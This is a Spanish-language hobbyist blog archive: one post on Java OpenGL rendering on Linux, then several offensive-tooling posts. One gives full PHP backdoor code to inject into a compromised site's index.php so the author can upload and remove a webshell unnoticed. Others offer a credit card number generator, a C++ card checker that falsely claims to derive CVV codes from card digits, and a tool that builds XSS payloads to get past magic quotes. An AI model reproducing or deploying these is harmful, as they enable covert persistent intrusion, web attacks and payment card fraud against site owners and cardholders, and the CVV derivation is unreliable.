Mostrando entradas con la etiqueta programacion. Mostrar todas las entradas
Mostrando entradas con la etiqueta programacion. Mostrar todas las entradas

4 jun. 2016

Problemas de renderización en java (LINUX)

Hola a todos, tratando de continuar un proyecto escolar de java en mi equipo con linux (Debian jessie) en el cual uso Graphics2D y varios hilos que repintan el frame cada tantos milisegundos me dí cuenta que las animaciones se vuelven bastante lentas e irregulares. La manera mas sencilla que encontré para poder visualizar las animaciones de forma correcta fue agregar la siguiente linea de código al principio del main() la cual habilita la aceleración por hardware y de esa manera la aplicación renderizara los gráficos usando OpenGL.


System.setProperty("sun.java2d.opengl","True");

Una vez hecho esto veremos nuestro programa ejecutándose de manera totalmente fluida. Adjunto la configuración del compositor de mi sistema.


4 jul. 2013

Forma fácil de asegurar nuestro regreso a un hackedhost

Hi everyone!


En mis ratos de gray hat eh estado en situaciones que logro acceder a algún host y simplemente dejo una shell en algún subdirectorio (sin hacer ningún daño ni tampoco reportando ningún bug), pero días después cuando quiero regresar y husmear un poco me topo con que mi shell ya fue removida y pues tendría que volver a ganar acceso oootraveeezz...

Para evitar esto y hacer las cosas un poco mas sencillas me hice un script en php que prácticamente es un uploader protegido por asi decirlo, ya que se debe mandar una variable por get para poder visualizar el campo de login y una vez logeado ya nos da permiso de subir nuestra webshell, obviamente este script es para inyectarlo en alguna pagina propia del servidor y así el administrador no vea archivos agregados.

El chiste seria: ganar acceso al host -> poner el script en alguna pagina, talves en el mismo index.php -> una vez que terminemos de usar nuestra shell, borrarla con la función self-remove
 ..y así cada vez que queramos usar la shell, la subimos, la usamos y la borramos, de esta manera ya es un poco mas seguro de que el administrador no se de cuenta que lo hemos owneado.

code:

<?php 
session_start(); /* cyber-oxyde.blogspot.mx */
$me="21232f297a57a5a743894a0e4a801fc3"; //user en md5 | default: admin 
$password="21232f297a57a5a743894a0e4a801fc3"; //pass en md5 | default: admin 
$getvar="stormdark"; //variable GET para activar el formulario | index.php?$getvar 
$close="close"; // variable para cerrar sesion | index.php?$getvar=$close 
@$user=$_POST[user];
@$pass=$_POST[pass];
function subir() 
{ 
    $shellname="configfile.php"; //nombre al que va a ser renombrada la webshell 
    if(@isset($_FILES[upload])) 
    {
        if(move_uploaded_file($_FILES["upload"]["tmp_name"], $shellname)) 
        { 
            echo "<h5>Archivo <a href='$shellname'>$shellname</a> subido</h5>"; 
        }else
        { 
            echo "<h5>Error al subir archivo</h5>";
        } 
    }else
    { 
        echo ' 
        <form action="" method="post" enctype="multipart/form-data">  
        <input type="file" name="upload"><br> 
        <input type="submit">
        </form>
        '; 
    }
} 
if(isset($_GET[$getvar])) 
{ 
    if(@$_SESSION['logged']=='yes') 
    { 
        subir(); 
    }else
    {
        if(isset($user) && isset($pass))
        { 
            if($me==(md5($user)) && $password==(md5($pass)))
            {
                $_SESSION['logged']='yes';
                subir(); 
            }else
            { 
                echo "<h5>wrong!</h5>"; 
            } 
        }else
        { 
            echo ' 
            <form action="" method="post"> 
            <input type="text" name="user"><br> 
            <input type="text" name="pass"><br>
            <input type="submit" name"submit"> 
            </form>
            '; 
        }
    }
    if($_GET[$getvar]==$close)
    { 
        session_destroy();
        echo "<h5>sesion cerrada</h5>";
    };
}
?> 
Highlighted:  https://github.com/stormdark/BackdoorPHP/blob/master/backdoor.php


11 abr. 2013

Creditcard Generator [c++]

Bueno pues ahora para pasar el rato hice un generador de tarjetas de credito a partir de un bin de 6 digitos, se puede optimizar el codigo pero pues asi funciona bien..



Descargar exe: https://www.dropbox.com/s/a9x98fv76f62nic/generador_0xyde.rar?dl=0
Código: https://github.com/stormdark/CreditCardGenerator/blob/master/generator.cpp

17 jun. 2012

CreditCard Checker

Aqui les dejo esta tool codeada por mi en C++ para verificar si una tarjeta de credito es valida o no, hasta ahorita solo reconoce tarjetas de 15 y 16 digitos de las mas usadas que son Visa, Mastercard, American Express y Discover

#include <iostream>
#include <conio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <mmsystem.h>

using namespace std;

class check
{
    private:
            char card[16];
            int par1, par2, par3, par4, par5, par6, par7, par8;
            int impar1, impar2, impar3, impar4, impar5, impar6, impar7, impar8;
            int multimpar1, multimpar2, multimpar3, multimpar4, multimpar5, multimpar6, multimpar7, multimpar8;
            int uni, dec;
            int resultado;

    public:
            void validacion();
            void tipo();
            void american_express();
            void visa();
            void mastercard();
            void discover();
};

void check::validacion()
{
    int lon;
    do
    {
        system("cls");
        cout<<"=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-="<<endl;
        cout<<" ____ ___ ____ ____ _  _ ___  ____ ____ _  _"<<endl;
        cout<<" ====  |  [__] |--< |\\/| |__> |--| |--< |-:_"<<endl;
        cout<<"     CreditCard Checker by Stormd4rk"<<endl;
        cout<<"============================================="<<endl;
        cout<<"Digita el numero de la tarjeta"<<endl;
        cin>>card;
        lon=strlen(card);
        if(lon != 16 && lon != 15)
        {
            cout<<"Numero invalido"<<endl;
            getch();
        }
    }while(lon != 16 && lon != 15);
    par1=card[1]-'0';
    par2=card[3]-'0';
    par3=card[5]-'0';
    par4=card[7]-'0';
    par5=card[9]-'0';
    par6=card[11]-'0';
    par7=card[13]-'0';
    par8=card[15]-'0';

    impar1=card[0]-'0';
    impar2=card[2]-'0';
    impar3=card[4]-'0';
    impar4=card[6]-'0';
    impar5=card[8]-'0';
    impar6=card[10]-'0';
    impar7=card[12]-'0';
    impar8=card[14]-'0';

    multimpar1=impar1*2;
    multimpar2=impar2*2;
    multimpar3=impar3*2;
    multimpar4=impar4*2;
    multimpar5=impar5*2;
    multimpar6=impar6*2;
    multimpar7=impar7*2;
    multimpar8=impar8*2;

    do
    {
        if(multimpar1 > 9)
        {
            uni = multimpar1 - multimpar1 / 10 * 10;
            dec = (multimpar1 - multimpar1 / 100 * 100) / 10;
            multimpar1=uni+dec;
        }
    }while(multimpar1 > 9);

    do
    {
        if(multimpar2 > 9)
        {
            uni = multimpar2 - multimpar2 / 10 * 10;
            dec = (multimpar2 - multimpar2 / 100 * 100) / 10;
            multimpar2=uni+dec;
        }
    }while(multimpar2 > 9);

    do
    {
        if(multimpar3 > 9)
        {
            uni = multimpar3 - multimpar3 / 10 * 10;
            dec = (multimpar3 - multimpar3 / 100 * 100) / 10;
            multimpar3=uni+dec;
        }
    }while(multimpar3 > 9);

    do
    {
        if(multimpar4 > 9)
        {
            uni = multimpar4 - multimpar4 / 10 * 10;
            dec = (multimpar4 - multimpar4 / 100 * 100) / 10;
            multimpar4=uni+dec;
        }
    }while(multimpar4 > 9);

    do
    {
        if(multimpar5 > 9)
        {
            uni = multimpar5 - multimpar5 / 10 * 10;
            dec = (multimpar5 - multimpar5 / 100 * 100) / 10;
            multimpar5=uni+dec;
        }
    }while(multimpar5 > 9);

    do
    {
        if(multimpar6 > 9)
        {
            uni = multimpar6 - multimpar6 / 10 * 10;
            dec = (multimpar6 - multimpar6 / 100 * 100) / 10;
            multimpar6=uni+dec;
        }
    }while(multimpar6 > 9);

    do
    {
        if(multimpar7 > 9)
        {
            uni = multimpar7 - multimpar7 / 10 * 10;
            dec = (multimpar7 - multimpar7 / 100 * 100) / 10;
            multimpar7=uni+dec;
        }
    }while(multimpar7 > 9);

    do
    {
        if(multimpar8 > 9)
        {
            uni = multimpar8 - multimpar8 / 10 * 10;
            dec = (multimpar8 - multimpar8 / 100 * 100) / 10;
            multimpar8=uni+dec;
        }
    }while(multimpar8 > 9);

    resultado = par1+par2+par3+par4+par5+par6+par7+par8+multimpar1+multimpar2+multimpar3+multimpar4+multimpar5+multimpar6+multimpar7+multimpar8;

    if(resultado%10==0)
    {
        cout<<"=================="<<endl;
        cout<<"Tarjeta Valida! =]"<<endl;
        cout<<"=================="<<endl;
        check::tipo();
    }else
    {
        cout<<"==================="<<endl;
        cout<<"Tarjeta Invalida =("<<endl;
        cout<<"==================="<<endl;
    }
}

void check::tipo()
{
    if(card[0] == '3')
    {
        cout<<"[+]Tipo: American Express"<<endl;
        check::american_express();
    }else
    {
        if(card[0] == '4')
        {
           cout<<"[+]Tipo: Visa"<<endl;
           check::visa();
        }else
        {
            if(card[0] == '5')
            {
                cout<<"[+]Tipo: Mastercard"<<endl;
                check::mastercard();
            }else
            {
                if(card[0] == '6')
                {
                    cout<<"[+]Tipo: Discover"<<endl;
                    check::discover();
                }
            }
        }
    }
}

void check::american_express()
{
    int cid1;
    int cid2;
    int cid3;
    int cid4;
    int x;
    cid1 = card[5]-'0';
    cid2 = card[7]-'0';
    cid3 = card[11]-'0';
    if (card[2]-'0' == 9)
    {
        x = 1;
        cid4 = x;
        cout<<"[+]CID: "<<cid1<<cid2<<cid3<<cid4<<endl;
    }else
    {
        x = card[2]-'0' + 1;
        cid4 = x;
        cout<<"[+]CID: "<<cid1<<cid2<<cid3<<cid4<<endl;
    }
}

void check::visa()
{
    int cvv21;
    int cvv22;
    int cvv23;
    int x;
    cvv21 = card[7]-'0';
    cvv22 = card[11]-'0';
    if (card[2]-'0' == 9)
    {
        x = 1;
        cvv23 = x;
        cout<<"[+]CVV2: "<<cvv21<<cvv22<<cvv23<<endl;
    }else
    {
        x = card[2]-'0' + 1;
        cvv23 = x;
        cout<<"[+]CVV2: "<<cvv21<<cvv22<<cvv23<<endl;
    }
}

void check::mastercard()
{
    int cvc21;
    int cvc22;
    int cvc23;
    int x;
    cvc21 = card[7]-'0';
    cvc22 = card[11]-'0';
    if (card[2]-'0' == 9)
    {
        x = 1;
        cvc23 = x;
        cout<<"[+]CVC2: "<<cvc21<<cvc22<<cvc23<<endl;
    }else
    {
        x = card[2]-'0' + 1;
        cvc23 = x;
        cout<<"[+]CVC2: "<<cvc21<<cvc22<<cvc23<<endl;
    }
}

void check::discover()
{
    int cvv21;
    int cvv22;
    int cvv23;
    int x;
    cvv21 = card[7]-'0';
    cvv22 = card[11]-'0';
    if (card[2]-'0' == 9)
    {
        x = 1;
        cvv23 = x;
        cout<<"[+]CVV2: "<<cvv21<<cvv22<<cvv23<<endl;
    }else
    {
        x = card[2]-'0' + 1;
        cvv23 = x;
        cout<<"[+]CVV2: "<<cvv21<<cvv22<<cvv23<<endl;
    }
}

int main()
{
    SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), 11);
    system ("title CreditCard Checker by StØrMd[4]rk v1.0 [+] cyber-oxyde.blogspot.mx");
    char op;
    do
    {
        system("cls");
        check obj;
        obj.validacion();
        cout<<"Repetir? y/n"<<endl;
        cin>>op;
        op = tolower(op);
    }while(op == 'y');
    MessageBox(NULL,TEXT("I hate lammers.\nstormdark-nxt@live.jp"),TEXT("[Info]"),MB_OK | MB_ICONASTERISK );
}

Saludos..
..By StØrMd[4]rk

13 jun. 2012

Bypass MagicQuotes

Aqui una pequeña herramienta codeada por mi para bypassear el filtro magicquotes
#include <iostream>
#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <windows.h>
#include <mmsystem.h>


using namespace std;

void dow(char *word)
{
    int i = 0, asc, tam = strlen(word);
    do
    {
        asc = (int)word[i];
        i++;
        cout<<asc;
        if(i<tam)
            cout<<',';
    }
    while(i<tam);
}

int main()
{
    char op, word[30];
    system ("title Bypassing MagicQuotes Filters");
    do
    {
        system("cls");
        cout<<" ____ ___ ____ ____ _  _ ___  ____ ____ _  _"<<endl;
        cout<<" ====  |  [__] |--< |\\/| |__> |--| |--< |-:_"<<endl;
        cout<<"          Bypass Magic Quotes T00l\n";
        cout<<"[+]Usage: escribe y da enter xD"<<endl;
        cout<<"_________________________________"<<endl;
        cout<<"\nIntroduce la cadena:"<<endl;
        cout<<"->";
        cin>>word;
        cout<<"\nXSS:"<<endl;
        cout<<"<script>alert(String.fromCharCode(";
        dow(word);
        cout<<"));</script>"<<endl;
        cout<<"\nAgain? s/n"<<endl;
        cout<<"->";
        cin>>op;
        op=tolower(op);
    }
    while(op=='s');
    if (op != 's')
        MessageBox(NULL,TEXT("Coded by StØrMd[4]rk \n\t\nstormdark-nxt@live.jp \n "),TEXT("About"),MB_OK | MB_ICONEXCLAMATION );

    return 0;
}


Code in Github: https://github.com/stormdark/BypassMagicQuotes/blob/master/bypass.cpp